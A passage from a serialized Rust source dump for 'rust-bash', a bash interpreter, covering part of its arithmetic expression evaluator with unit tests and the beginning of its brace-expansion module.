Reject double subscript: a[i][j]\n                    if self.peek() == Some(TokenKind::LBracket) {\n                        return Err(RustBashError::Execution(\n                            \"arithmetic: syntax error in expression\".into(),\n                        ));\n                    }\n                    read_array_element_checked(state, &name, &raw_sub)\n                } else {\n                    Ok(read_var(state, &name)?)\n                }\n            }\n            Some(TokenKind::LParen) => {\n                self.advance();\n                let val = self.parse_comma(state)?;\n                self.expect(TokenKind::RParen)?;\n                Ok(val)\n            }\n            Some(kind) => Err(RustBashError::Execution(format!(\n                \"arithmetic: unexpected token {kind:?}\"\n            ))),\n            None => Err(RustBashError::Execution(\n                \"arithmetic: unexpected end of expression\".into(),\n            )),\n        }\n    }\n\n    /// Extract the raw source text of an array subscript between `[` and `]`.\n    /// The parser position must be at the `[` token. After this call, the\n    /// position is advanced past the matching `]`.\n    fn extract_raw_subscript(&mut self) -> Result<String, RustBashError> {\n        self.expect(TokenKind::LBracket)?;\n        let lbracket = self.tokens[self.pos - 1];\n        // Find the matching ] — track nesting\n        let mut depth = 1;\n        while self.pos < self.tokens.len() {\n            match self.tokens[self.pos].kind {\n                TokenKind::LBracket => depth += 1,\n                TokenKind::RBracket => {\n                    depth -= 1;\n                    if depth == 0 {\n                        break;\n                    }\n                }\n                _ => {}\n            }\n            self.pos += 1;\n        }\n        if depth != 0 {\n            return Err(RustBashError::Execution(\n                \"arithmetic: expected RBracket\".into(),\n            ));\n        }\n        // Reconstruct the raw source between the brackets so quoted associative\n        // keys are preserved exactly.\n        let rbracket = self.tokens[self.pos];\n        let raw = if lbracket.start + lbracket.len < rbracket.start {\n            self.source[lbracket.start + lbracket.len..rbracket.start].to_string()\n        } else {\n            String::new()\n        };\n        self.advance(); // consume ]\n        Ok(raw)\n    }\n\n    fn expect_ident(&mut self) -> Result<Token, RustBashError> {\n        match self.peek() {\n            Some(TokenKind::Ident) => Ok(self.advance()),\n            _ => Err(RustBashError::Execution(\n                \"arithmetic: expected variable name\".into(),\n            )),\n        }\n    }\n}\n\n// ── Helpers ─────────────────────────────────────────────────────────\n\nfn read_var(state: &mut InterpreterState, name: &str) -> Result<i64, RustBashError> {\n    // Handle special parameters\n    match name {\n        \"#\" => return Ok(state.positional_params.len() as i64),\n        \"?\" => return Ok(state.last_exit_code as i64),\n        \"LINENO\" => return Ok(state.current_lineno as i64),\n        \"SECONDS\" => return Ok(state.shell_start_time.elapsed().as_secs() as i64),\n        _ => {}\n    }\n    // Handle positional parameters ($0, $1, $2, ...)\n    if let Ok(n) = name.parse::<usize>() {\n        if n == 0 {\n            return Ok(state.shell_name.parse::<i64>().unwrap_or(0));\n        }\n        return Ok(state\n            .positional_params\n            .get(n - 1)\n            .and_then(|v| v.parse::<i64>().ok())\n            .unwrap_or(0));\n    }\n    // Check nounset before resolving\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    if state.shell_opts.nounset && !state.env.contains_key(&resolved) {\n        return Err(RustBashError::Execution(format!(\n            \"{name}: unbound variable\"\n        )));\n    }\n    resolve_var_recursive(state, name, 0)\n}\n\nfn resolve_var_recursive(\n    state: &mut InterpreterState,\n    name: &str,\n    depth: usize,\n) -> Result<i64, RustBashError> {\n    const MAX_DEPTH: usize = 10;\n    // Call-stack pseudo-variables (BASH_LINENO, etc.) are not stored in env;\n    // resolve them via the expansion helper so $((BASH_LINENO)) works.\n    if matches!(name, \"BASH_LINENO\" | \"BASH_SOURCE\" | \"FUNCNAME\") {\n        let scalar = crate::interpreter::expansion::resolve_call_stack_scalar(name, state);\n        return Ok(scalar.parse::<i64>().unwrap_or(0));\n    }\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    let val_str = state\n        .env\n        .get(&resolved)\n        .map(|v| v.value.as_scalar().to_string())\n        .unwrap_or_default();\n    if val_str.is_empty() {\n        return Ok(0);\n    }\n    if let Ok(n) = val_str.parse::<i64>() {\n        return Ok(n);\n    }\n    // If the value looks like a valid variable name, resolve recursively.\n    if depth < MAX_DEPTH\n        && val_str\n            .chars()\n            .all(|c| c.is_ascii_alphanumeric() || c == '_')\n        && !val_str.chars().next().unwrap_or('0').is_ascii_digit()\n    {\n        return resolve_var_recursive(state, &val_str, depth + 1);\n    }\n    // Bash evaluates the variable's string value as an arithmetic expression.\n    if depth < MAX_DEPTH {\n        return eval_arithmetic(&val_str, state);\n    }\n    Ok(0)\n}\n\n/// Strip surrounding single or double quotes from an associative array key.\nfn strip_assoc_quotes(s: &str) -> &str {\n    let s = s.trim();\n    if (s.starts_with('\\'') && s.ends_with('\\'')) || (s.starts_with('\"') && s.ends_with('\"')) {\n        &s[1..s.len() - 1]\n    } else {\n        s\n    }\n}\n\n/// Determine if a variable is an associative array.\nfn is_assoc_array(state: &InterpreterState, name: &str) -> bool {\n    use crate::interpreter::VariableValue;\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    state\n        .env\n        .get(&resolved)\n        .is_some_and(|v| matches!(v.value, VariableValue::AssociativeArray(_)))\n}\n\n/// Read a specific array element.\n/// For associative arrays, the raw subscript is used as a string key.\n/// For indexed arrays, it is evaluated as an arithmetic expression.\n/// Checks nounset if enabled.\nfn read_array_element(\n    state: &mut InterpreterState,\n    name: &str,\n    raw_subscript: &str,\n) -> Result<i64, RustBashError> {\n    use crate::interpreter::VariableValue;\n    let resolved_name = crate::interpreter::resolve_nameref_or_self(name, state);\n\n    // Determine type and extract value without holding a borrow across eval_arithmetic.\n    enum VarKind {\n        Assoc,\n        Indexed,\n        Scalar,\n        Missing,\n    }\n    let kind = match state.env.get(&resolved_name) {\n        Some(v) => match &v.value {\n            VariableValue::AssociativeArray(_) => VarKind::Assoc,\n            VariableValue::IndexedArray(_) => VarKind::Indexed,\n            VariableValue::Scalar(_) => VarKind::Scalar,\n        },\n        None => VarKind::Missing,\n    };\n\n    let val_str = match kind {\n        VarKind::Missing => return Ok(0),\n        VarKind::Assoc => {\n            let key = strip_assoc_quotes(raw_subscript);\n            match state.env.get(&resolved_name) {\n                Some(v) => match &v.value {\n                    VariableValue::AssociativeArray(map) => {\n                        map.get(key).cloned().unwrap_or_default()\n                    }\n                    _ => String::new(),\n                },\n                None => String::new(),\n            }\n        }\n        VarKind::Indexed => {\n            let index = eval_arithmetic(raw_subscript, state).unwrap_or(0);\n            match state.env.get(&resolved_name) {\n                Some(v) => match &v.value {\n                    VariableValue::IndexedArray(map) => {\n                        let actual_idx = if index < 0 {\n                            let max_key = map.keys().next_back().copied().unwrap_or(0);\n                            let resolved = max_key as i64 + 1 + index;\n                            if resolved < 0 {\n                                let ln = state.current_lineno;\n                                state.pending_cmdsub_stderr.push_str(&format!(\n                                    \"rust-bash: line {ln}: {resolved_name}: bad array subscript\\n\"\n                                ));\n                                return Ok(0);\n                            }\n                            resolved as usize\n                        } else {\n                            index as usize\n                        };\n                        map.get(&actual_idx).cloned().unwrap_or_default()\n                    }\n                    _ => String::new(),\n                },\n                None => String::new(),\n            }\n        }\n        VarKind::Scalar => {\n            let index = eval_arithmetic(raw_subscript, state).unwrap_or(0);\n            match state.env.get(&resolved_name) {\n                Some(v) => match &v.value {\n                    VariableValue::Scalar(s) => {\n                        if index == 0 || index == -1 {\n                            s.clone()\n                        } else {\n                            String::new()\n                        }\n                    }\n                    _ => String::new(),\n                },\n                None => String::new(),\n            }\n        }\n    };\n    if val_str.is_empty() {\n        return Ok(0);\n    }\n    match val_str.parse::<i64>() {\n        Ok(v) => Ok(v),\n        Err(_) => {\n            // Guard against infinite recursion (e.g. a[0]=\"a[0]\").\n            use std::cell::Cell;\n            thread_local! {\n                static DEPTH: Cell<usize> = const { Cell::new(0) };\n            }\n            DEPTH.with(|d| {\n                let cur = d.get();\n                if cur >= 10 {\n                    return Err(RustBashError::Execution(format!(\n                        \"{name}[{raw_subscript}]: recursive evaluation depth exceeded\"\n                    )));\n                }\n                d.set(cur + 1);\n                let result = eval_arithmetic(&val_str, state);\n                d.set(cur);\n                result\n            })\n        }\n    }\n}\n\n/// Like `read_array_element`, but returns a `Result` to propagate nounset errors.\nfn read_array_element_checked(\n    state: &mut InterpreterState,\n    name: &str,\n    raw_subscript: &str,\n) -> Result<i64, RustBashError> {\n    if raw_subscript.trim().is_empty() {\n        return Err(RustBashError::Execution(format!(\n            \"{name}: bad array subscript\"\n        )));\n    }\n    let resolved_name = crate::interpreter::resolve_nameref_or_self(name, state);\n    if state.shell_opts.nounset && !state.env.contains_key(&resolved_name) {\n        return Err(RustBashError::Execution(format!(\n            \"{name}[{raw_subscript}]: unbound variable\"\n        )));\n    }\n    read_array_element(state, name, raw_subscript)\n}\n\n/// Write a value to a specific array element.\n/// For associative arrays, the raw subscript is used as a string key.\n/// For indexed arrays, it is evaluated as an arithmetic expression.\nfn write_array_element(\n    state: &mut InterpreterState,\n    name: &str,\n    raw_subscript: &str,\n    value: i64,\n) -> Result<(), RustBashError> {\n    if raw_subscript.trim().is_empty() {\n        return Err(RustBashError::Execution(format!(\n            \"{name}: bad array subscript\"\n        )));\n    }\n    use crate::interpreter::VariableValue;\n    let resolved_name = crate::interpreter::resolve_nameref_or_self(name, state);\n    if is_assoc_array(state, &resolved_name) {\n        let key = strip_assoc_quotes(raw_subscript).to_string();\n        return crate::interpreter::set_assoc_element(\n            state,\n            &resolved_name,\n            key,\n            value.to_string(),\n        );\n    }\n    let index = eval_arithmetic(raw_subscript, state)?;\n    if index < 0 {\n        let max_key = state.env.get(&resolved_name).and_then(|v| match &v.value {\n            VariableValue::IndexedArray(map) => map.keys().next_back().copied(),\n            VariableValue::Scalar(_) => Some(0),\n            _ => None,\n        });\n        match max_key {\n            Some(mk) => {\n                let resolved = mk as i64 + 1 + index;\n                if resolved < 0 {\n                    return Err(RustBashError::Execution(format!(\n                        \"{name}: bad array subscript\"\n                    )));\n                }\n                return crate::interpreter::set_array_element(\n                    state,\n                    &resolved_name,\n                    resolved as usize,\n                    value.to_string(),\n                );\n            }\n            None => {\n                return Err(RustBashError::Execution(format!(\n                    \"{name}: bad array subscript\"\n                )));\n            }\n        }\n    }\n    crate::interpreter::set_array_element(state, &resolved_name, index as usize, value.to_string())\n}\n\nfn wrapping_pow(mut base: i64, mut exp: i64) -> Result<i64, RustBashError> {\n    if exp < 0 {\n        return Err(RustBashError::Execution(\n            \"arithmetic: exponent less than 0\".into(),\n        ));\n    }\n    let mut result: i64 = 1;\n    while exp > 0 {\n        if exp & 1 == 1 {\n            result = result.wrapping_mul(base);\n        }\n        exp >>= 1;\n        base = base.wrapping_mul(base);\n    }\n    Ok(result)\n}\n\nfn apply_compound_op(op: TokenKind, lhs: i64, rhs: i64) -> Result<i64, RustBashError> {\n    match op {\n        TokenKind::PlusEq => Ok(lhs.wrapping_add(rhs)),\n        TokenKind::MinusEq => Ok(lhs.wrapping_sub(rhs)),\n        TokenKind::StarEq => Ok(lhs.wrapping_mul(rhs)),\n        TokenKind::SlashEq => {\n            if rhs == 0 {\n                return Err(RustBashError::Execution(\n                    \"arithmetic: division by zero\".into(),\n                ));\n            }\n            Ok(lhs.wrapping_div(rhs))\n        }\n        TokenKind::PercentEq => {\n            if rhs == 0 {\n                return Err(RustBashError::Execution(\n                    \"arithmetic: division by zero\".into(),\n                ));\n            }\n            Ok(lhs.wrapping_rem(rhs))\n        }\n        TokenKind::LtLtEq => Ok(lhs.wrapping_shl(rhs as u32)),\n        TokenKind::GtGtEq => Ok(lhs.wrapping_shr(rhs as u32)),\n        TokenKind::AmpEq => Ok(lhs & rhs),\n        TokenKind::PipeEq => Ok(lhs | rhs),\n        TokenKind::CaretEq => Ok(lhs ^ rhs),\n        _ => unreachable!(),\n    }\n}\n\n// ── Unit tests ──────────────────────────────────────────────────────\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::interpreter::{\n        ExecutionCounters, ExecutionLimits, InterpreterState, ShellOpts, ShoptOpts,\n    };\n    use crate::network::NetworkPolicy;\n    use crate::vfs::InMemoryFs;\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn make_state() -> InterpreterState {\n        InterpreterState {\n            fs: Arc::new(InMemoryFs::new()),\n            env: HashMap::new(),\n            cwd: \"/\".to_string(),\n            functions: HashMap::new(),\n            last_exit_code: 0,\n            commands: HashMap::new(),\n            shell_opts: ShellOpts::default(),\n            shopt_opts: ShoptOpts::default(),\n            limits: ExecutionLimits::default(),\n            counters: ExecutionCounters::default(),\n            network_policy: NetworkPolicy::default(),\n            should_exit: false,\n            abort_command_list: false,\n            loop_depth: 0,\n            control_flow: None,\n            positional_params: Vec::new(),\n            shell_name: \"rust-bash\".to_string(),\n            shell_pid: 1000,\n            bash_pid: 1000,\n            parent_pid: 1,\n            next_process_id: 1001,\n            last_background_pid: None,\n            last_background_status: None,\n            interactive_shell: false,\n            invoked_with_c: false,\n            random_seed: 42,\n            local_scopes: Vec::new(),\n            temp_binding_scopes: Vec::new(),\n            in_function_depth: 0,\n            source_depth: 0,\n            getopts_subpos: 0,\n            getopts_args_signature: String::new(),\n            traps: HashMap::new(),\n            in_trap: false,\n            errexit_suppressed: 0,\n            errexit_bang_suppressed: 0,\n            stdin_offset: 0,\n            current_stdin_persistent_fd: None,\n            dir_stack: Vec::new(),\n            command_hash: HashMap::new(),\n            aliases: HashMap::new(),\n            current_lineno: 0,\n            current_source: \"main\".to_string(),\n            current_source_text: String::new(),\n            last_verbose_line: 0,\n            shell_start_time: crate::platform::Instant::now(),\n            last_argument: String::new(),\n            call_stack: Vec::new(),\n            machtype: \"x86_64-pc-linux-gnu\".to_string(),\n            hosttype: \"x86_64\".to_string(),\n            persistent_fds: HashMap::new(),\n            persistent_fd_offsets: HashMap::new(),\n            next_auto_fd: 10,\n            proc_sub_counter: 0,\n            proc_sub_prealloc: HashMap::new(),\n            pipe_stdin_bytes: None,\n            pending_cmdsub_stderr: String::new(),\n            pending_test_stderr: String::new(),\n            script_source: None,\n            fatal_expansion_error: false,\n            last_command_had_error: false,\n            last_status_immune_to_errexit: false,\n        }\n    }\n\n    fn eval(expr: &str) -> i64 {\n        let mut state = make_state();\n        eval_arithmetic(expr, &mut state).unwrap()\n    }\n\n    fn eval_with(expr: &str, state: &mut InterpreterState) -> i64 {\n        eval_arithmetic(expr, state).unwrap()\n    }\n\n    #[test]\n    fn basic_addition() {\n        assert_eq!(eval(\"1 + 2\"), 3);\n    }\n\n    #[test]\n    fn multiplication() {\n        assert_eq!(eval(\"5 * 3\"), 15);\n    }\n\n    #[test]\n    fn division() {\n        assert_eq!(eval(\"10 / 3\"), 3);\n    }\n\n    #[test]\n    fn modulo() {\n        assert_eq!(eval(\"10 % 3\"), 1);\n    }\n\n    #[test]\n    fn exponentiation() {\n        assert_eq!(eval(\"2 ** 10\"), 1024);\n    }\n\n    #[test]\n    fn precedence_add_mul() {\n        assert_eq!(eval(\"2 + 3 * 4\"), 14);\n    }\n\n    #[test]\n    fn parenthesized() {\n        assert_eq!(eval(\"(1 + 2) * 3\"), 9);\n    }\n\n    #[test]\n    fn comparison_gt() {\n        assert_eq!(eval(\"5 > 3\"), 1);\n    }\n\n    #[test]\n    fn comparison_lt() {\n        assert_eq!(eval(\"5 < 3\"), 0);\n    }\n\n    #[test]\n    fn comparison_le() {\n        assert_eq!(eval(\"3 <= 3\"), 1);\n    }\n\n    #[test]\n    fn comparison_ge() {\n        assert_eq!(eval(\"3 >= 4\"), 0);\n    }\n\n    #[test]\n    fn equality() {\n        assert_eq!(eval(\"5 == 5\"), 1);\n        assert_eq!(eval(\"5 != 5\"), 0);\n        assert_eq!(eval(\"5 != 3\"), 1);\n    }\n\n    #[test]\n    fn logical_and() {\n        assert_eq!(eval(\"1 && 0\"), 0);\n        assert_eq!(eval(\"1 && 1\"), 1);\n    }\n\n    #[test]\n    fn logical_or() {\n        assert_eq!(eval(\"1 || 0\"), 1);\n        assert_eq!(eval(\"0 || 0\"), 0);\n    }\n\n    #[test]\n    fn bitwise_and() {\n        assert_eq!(eval(\"0xFF & 0x0F\"), 15);\n    }\n\n    #[test]\n    fn bitwise_or() {\n        assert_eq!(eval(\"0xF0 | 0x0F\"), 255);\n    }\n\n    #[test]\n    fn bitwise_xor() {\n        assert_eq!(eval(\"0xFF ^ 0x0F\"), 240);\n    }\n\n    #[test]\n    fn bitwise_shift() {\n        assert_eq!(eval(\"1 << 8\"), 256);\n        assert_eq!(eval(\"256 >> 4\"), 16);\n    }\n\n    #[test]\n    fn ternary() {\n        assert_eq!(eval(\"5 > 3 ? 10 : 20\"), 10);\n        assert_eq!(eval(\"5 < 3 ? 10 : 20\"), 20);\n    }\n\n    #[test]\n    fn unary_minus() {\n        assert_eq!(eval(\"-5\"), -5);\n    }\n\n    #[test]\n    fn unary_plus() {\n        assert_eq!(eval(\"+5\"), 5);\n    }\n\n    #[test]\n    fn bitwise_not() {\n        assert_eq!(eval(\"~0\"), -1);\n    }\n\n    #[test]\n    fn logical_not() {\n        assert_eq!(eval(\"! 0\"), 1);\n        assert_eq!(eval(\"! 1\"), 0);\n    }\n\n    #[test]\n    fn hex_literal() {\n        assert_eq!(eval(\"0xFF\"), 255);\n    }\n\n    #[test]\n    fn octal_literal() {\n        assert_eq!(eval(\"077\"), 63);\n    }\n\n    #[test]\n    fn variable_read() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"5\".into()).unwrap();\n        assert_eq!(eval_with(\"x + 3\", &mut state), 8);\n    }\n\n    #[test]\n    fn variable_with_dollar() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"5\".into()).unwrap();\n        assert_eq!(eval_with(\"$x + 3\", &mut state), 8);\n    }\n\n    #[test]\n    fn variable_assignment() {\n        let mut state = make_state();\n        let result = eval_with(\"x = 5\", &mut state);\n        assert_eq!(result, 5);\n        assert_eq!(state.env.get(\"x\").unwrap().value.as_scalar(), \"5\");\n    }\n\n    #[test]\n    fn compound_assignment() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"10\".into()).unwrap();\n        assert_eq!(eval_with(\"x += 5\", &mut state), 15);\n        assert_eq!(state.env.get(\"x\").unwrap().value.as_scalar(), \"15\");\n    }\n\n    #[test]\n    fn pre_increment() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"5\".into()).unwrap();\n        assert_eq!(eval_with(\"++x\", &mut state), 6);\n        assert_eq!(state.env.get(\"x\").unwrap().value.as_scalar(), \"6\");\n    }\n\n    #[test]\n    fn post_increment() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"5\".into()).unwrap();\n        assert_eq!(eval_with(\"x++\", &mut state), 5);\n        assert_eq!(state.env.get(\"x\").unwrap().value.as_scalar(), \"6\");\n    }\n\n    #[test]\n    fn pre_decrement() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"5\".into()).unwrap();\n        assert_eq!(eval_with(\"--x\", &mut state), 4);\n        assert_eq!(state.env.get(\"x\").unwrap().value.as_scalar(), \"4\");\n    }\n\n    #[test]\n    fn post_decrement() {\n        let mut state = make_state();\n        set_variable(&mut state, \"x\", \"5\".into()).unwrap();\n        assert_eq!(eval_with(\"x--\", &mut state), 5);\n        assert_eq!(state.env.get(\"x\").unwrap().value.as_scalar(), \"4\");\n    }\n\n    #[test]\n    fn division_by_zero() {\n        let mut state = make_state();\n        assert!(eval_arithmetic(\"1 / 0\", &mut state).is_err());\n    }\n\n    #[test]\n    fn modulo_by_zero() {\n        let mut state = make_state();\n        assert!(eval_arithmetic(\"1 % 0\", &mut state).is_err());\n    }\n\n    #[test]\n    fn undefined_variable_defaults_to_zero() {\n        assert_eq!(eval(\"undefined_var\"), 0);\n    }\n\n    #[test]\n    fn empty_expression() {\n        assert_eq!(eval(\"\"), 0);\n    }\n\n    #[test]\n    fn nested_parens() {\n        assert_eq!(eval(\"((2 + 3) * (4 - 1))\"), 15);\n    }\n\n    #[test]\n    fn comma_operator() {\n        let mut state = make_state();\n        let result = eval_with(\"x = 1, y = 2, x + y\", &mut state);\n        assert_eq!(result, 3);\n    }\n\n    #[test]\n    fn complex_expression() {\n        assert_eq!(eval(\"2 + 3 * 4 - 1\"), 13);\n    }\n\n    #[test]\n    fn dollar_brace_variable() {\n        let mut state = make_state();\n        set_variable(&mut state, \"foo\", \"42\".into()).unwrap();\n        assert_eq!(eval_with(\"${foo} + 1\", &mut state), 43);\n    }\n}\n","/home/user/src/interpreter/brace.rs":"//! Brace expansion: `{a,b,c}` alternation and `{1..10}` sequence expansion.\n//!\n//! Brace expansion is a purely textual transformation that happens BEFORE all\n//! other expansions (variable, command substitution, glob). It operates on the\n//! raw word string and produces a list of expanded strings.\n\nuse crate::error::RustBashError;\n\n/// Expand brace expressions in a raw word string.\n///\n/// Returns a list of expanded strings. If no brace expansion applies, returns\n/// a single-element list containing the original string.\n///\n/// `max_results` caps total expansion output to prevent unbounded growth.\npub fn brace_expand(input: &str, max_results: usize) -> Result<Vec<String>, RustBashError> {\n    expand_recursive(input, max_results)\n}\n\n/// Recursively expand brace expressions in the input string.\nfn expand_recursive(input: &str, max_results: usize) -> Result<Vec<String>, RustBashError> {\n    let Some((open, close)) = find_brace_pair(input) else {\n        return Ok(vec![input.to_string()]);\n    };\n\n    let prefix = &input[..open];\n    let body = &input[open + 1..close];\n    let suffix = &input[close + 1..];\n\n    // Try sequence expansion first: {a..b} or {a..b..c}\n    if let Some(seq) = try_sequence_expansion(body)? {\n        let mut results = Vec::new();\n        for item in &seq {\n            let expanded_suffixes = expand_recursive(suffix, max_results)?;\n            for s in &expanded_suffixes {\n                results.push(format!(\"{prefix}{item}{s}\"));\n                check_limit(results.len(), max_results)?;\n            }\n        }\n        return Ok(results);\n    }\n\n    // Comma-separated alternation: {a,b,c}\n    let alternatives = split_alternatives(body);\n\n    // Single item → no expansion (literal braces)\n    if alternatives.len() < 2 {\n        let literal_prefix = format!(\"{prefix}{{{body}}}\");\n        let mut results = Vec::new();\n        for expanded_suffix in expand_recursive(suffix, max_results)? {\n            results.push(format!(\"{literal_prefix}{expanded_suffix}\"));\n            check_limit(results.len(), max_results)?;\n        }\n        return Ok(results);\n    }\n\n    let mut results = Vec::new();\n    for alt in &alternatives {\n        let combined = format!(\"{prefix}{alt}{suffix}\");\n        let expanded = expand_recursive(&combined, max_results)?;\n        for item in expanded {\n            results.push(item);\n            check_limit(results.len(), max_results)?;\n        }\n    }\n\n    Ok(results)\n}\n\nfn check_limit(count: usize, max: usize) -> Result<(), RustBashError> {\n    if count >= max {\n        return Err(RustBashError::LimitExceeded {\n            limit_name: \"max_brace_expansion\",\n            limit_value: max,\n            actual_value: count,\n        });\n    }\n    Ok(())\n}\n\n// ── Byte-level scanner helpers ──────────────────────────────────────\n//\n// All scanning works on bytes. Since the delimiter characters we care about\n// (`{`, `}`, `,`, `$`, `\\\\`, `'`, `\"`, `(`, `)`) are all ASCII, and UTF-8\n// continuation bytes (0x80–0xBF) never collide with ASCII, byte-level\n// scanning is safe. Content is always extracted by slicing the original `&str`\n// to preserve multi-byte characters correctly.\n\n/// Advance past a `${...}` parameter expansion starting at `bytes[i]` == `$`.\nfn skip_dollar_brace(bytes: &[u8], start: usize) -> usize {\n    debug_assert!(bytes[start] == b'$' && bytes.get(start + 1) == Some(&b'{'));\n    let len = bytes.len();\n    let mut i = start + 2;\n    let mut depth = 1;\n    while i < len && depth > 0 {\n        match bytes[i] {\n            b'{' => depth += 1,\n            b'}' => depth -= 1,\n            b'\\\\' if i + 1 < len => {\n                i += 1;\n            }\n            _ => {}\n        }\n        i += 1;\n    }\n    i\n}\n\n/// Advance past a `$(...)` command substitution (or `$((..))` arithmetic).\nfn skip_dollar_paren(bytes: &[u8], start: usize) -> usize {\n    debug_assert!(bytes[start] == b'$' && bytes.get(start + 1) == Some(&b'('));\n    let len = bytes.len();\n    let mut i = start + 2;\n    let mut depth = 1;\n    while i < len && depth > 0 {\n        match bytes[i] {\n            b'(' => depth += 1,\n            b')' => depth -= 1,\n            b'\\\\' if i + 1 < len => {\n                i += 1;\n            }\n            _ => {}\n        }\n        i += 1;\n    }\n    i\n}\n\n/// Advance past a single-quoted string starting at `bytes[i]` == `'`.\nfn skip_single_quote(bytes: &[u8], start: usize) -> usize {\n    let len = bytes.len();\n    let mut i = start + 1;\n    while i < len && bytes[i] != b'\\'' {\n        i += 1;\n    }\n    if i < len { i + 1 } else { i }\n}\n\n/// Advance past a double-quoted string starting at `bytes[i]` == `\"`.\nfn skip_double_quote(bytes: &[u8], start: usize) -> usize {\n    let len = bytes.len();\n    let mut i = start + 1;\n    while i < len && bytes[i] != b'\"' {\n        if bytes[i] == b'\\\\' && i + 1 < len {\n            i += 1;\n        }\n        i += 1;\n    }\n    if i < len { i + 1 } else { i }\n}\n\n/// Advance past a backtick command substitution starting at `bytes[i]` == `` ` ``.\nfn skip_backtick(bytes: &[u8], start: usize) -> usize {\n    let len = bytes.len();\n    let mut i = start + 1;\n    while i < len && bytes[i] != b'`' {\n        if bytes[i] == b'\\\\' && i + 1 < len {\n            i += 1;\n        }\n        i += 1;\n    }\n    if i < len { i + 1 } else { i }\n}\n\n/// Find the matching `{`...`}` pair at the top level, skipping `${` sequences\n/// (parameter expansion), `$(` substitutions, quotes, and escapes.\nfn find_brace_pair(input: &str) -> Option<(usize, usize)> {\n    let bytes = input.as_bytes();\n    let len = bytes.len();\n    let mut i = 0;\n\n    while i < len {\n        match bytes[i] {\n            b'\\\\' => i = (i + 2).min(len),\n            b'\\'' => i = skip_single_quote(bytes, i),\n            b'\"' => i = skip_double_quote(bytes, i),\n            b'`' => i = skip_backtick(bytes, i),\n            b'$' if i + 1 < len && bytes[i + 1] == b'{' => i = skip_dollar_brace(bytes, i),\n            b'$' if i + 1 < len && bytes[i + 1] == b'(' => i = skip_dollar_paren(bytes, i),\n            b'{' => {\n                if let Some(close) = find_matching_close(bytes, i) {\n                    return Some((i, close));\n                }\n                i += 1;\n            }\n            _ => i += 1,\n        }\n    }\n    None\n}\n\n/// Given that `bytes[open]` is `{`, find the matching `}` respecting nesting,\n/// quoting, and `${`/`$(` escapes.\nfn find_matching_close(bytes: &[u8], open: usize) -> Option<usize> {\n    let len = bytes.len();\n    let mut depth: usize = 1;\n    let mut i = open + 1;\n\n    while i < len && depth > 0 {\n        match bytes[i] {\n            b'\\\\' => i = (i + 2).min(len),\n            b'\\'' => i = skip_single_quote(bytes, i),\n            b'\"' => i = skip_double_quote(bytes, i),\n            b'`' => i = skip_backtick(bytes, i),\n            b'$' if i + 1 < len && bytes[i + 1] == b'{' => i = skip_dollar_brace(bytes, i),\n            b'$' if i + 1 < len && bytes[i + 1] == b'(' => i = skip_dollar_paren(bytes, i),\n            b'{' => {\n                depth += 1;\n                i += 1;\n            }\n            b'}' => {\n                depth -= 1;\n                if depth == 0 {\n                    return Some(i);\n                }\n                i += 1;\n            }\n            _ => i += 1,\n        }\n    }\n    None\n}\n\n/// Split the body of a brace expression by top-level commas.\n///\n/// Respects nested braces, quotes, escapes, and `${`/`$(`/backtick substitutions.\n/// Content is extracted by slicing the original `&str` to preserve UTF-8.\nfn split_alternatives(body: &str) -> Vec<String> {\n    let bytes = body.as_bytes();\n    let len = bytes.len();\n    let mut parts = Vec::new();\n    let mut seg_start = 0;\n    let mut i = 0;\n    let mut depth: usize = 0;\n\n    while i < len {\n        match bytes[i] {\n            b'\\\\' => i = (i + 2).min(len),\n            b'\\'' => i = skip_single_quote(bytes, i),\n            b'\"' => i = skip_double_quote(bytes, i),\n            b'`' => i = skip_backtick(bytes, i),\n            b'$' if i + 1 < len && bytes[i + 1] == b'{' => i = skip_dollar_brace(bytes, i),\n            b'$' if i + 1 < len && bytes[i + 1] == b'(' => i = skip_dollar_paren(bytes, i),\n            b'{' => {\n                depth += 1;\n                i += 1;\n            }\n            b'}' => {\n                depth = depth.saturating_sub(1);\n                i += 1;\n            }\n            b',' if depth == 0 => {\n                parts.push(body[seg_start..i].to_string());\n                i += 1;\n                seg_start = i;\n            }\n            _ => i += 1,\n        }\n    }\n    parts.push(body[seg_start..len].to_string());\n    parts\n}\n\n/// Try to parse and expand a sequence expression: `a..b` or `a..b..step`.\nfn try_sequence_expansion(body: &str) -> Result<Option<Vec<String>>, RustBashError> {\n    let parts: Vec<&str> = body.split(\"..\").collect();\n    if parts.len() < 2 || parts.len() > 3 {\n        return Ok(None);\n    }\n\n    // Try numeric sequence\n    if let (Ok(start), Ok(end)) = (parts[0].parse::<i64>(), parts[1].parse::<i64>()) {\n        let step = if parts.len() == 3 {\n            match parts[2].parse::<i64>() {\n                Ok(step) => step.unsigned_abs().max(1) as i64,\n                Err(_) => return Ok(None),\n            }\n        } else {\n            1\n        };\n\n        let width = zero_pad_width(parts[0]).max(zero_pad_width(parts[1]));\n\n        let mut result = Vec::new();\n        if start <= end {\n            let mut val = start;\n            while val <= end {\n                result.push(format_padded(val, width));\n                val = match val.checked_add(step) {\n                    Some(v) => v,\n                    None => break,\n                };\n            }\n        } else {\n            let mut val = start;\n            while val >= end {\n                result.push(format_padded(val, width));\n                val = match val.checked_sub(step) {\n                    Some(v) => v,\n                    None => break,\n                };\n            }\n        }\n        return Ok(Some(result));\n    }\n\n    // Try character sequence\n    let Some(start_ch) = parse_single_char(parts[0]) else {\n        return Ok(None);\n    };\n    let Some(end_ch) = parse_single_char(parts[1]) else {\n        return Ok(None);\n    };\n\n    let same_digit_class = start_ch.is_ascii_digit() && end_ch.is_ascii_digit();\n    let same_lower_class = start_ch.is_ascii_lowercase() && end_ch.is_ascii_lowercase();\n    let same_upper_class = start_ch.is_ascii_uppercase() && end_ch.is_ascii_uppercase();\n    if start_ch.is_ascii_alphabetic()\n        && end_ch.is_ascii_alphabetic()\n        && start_ch.is_ascii_lowercase() != end_ch.is_ascii_lowercase()\n    {\n        return Err(RustBashError::ExpansionError {\n            message: format!(\"{{{body}}}: 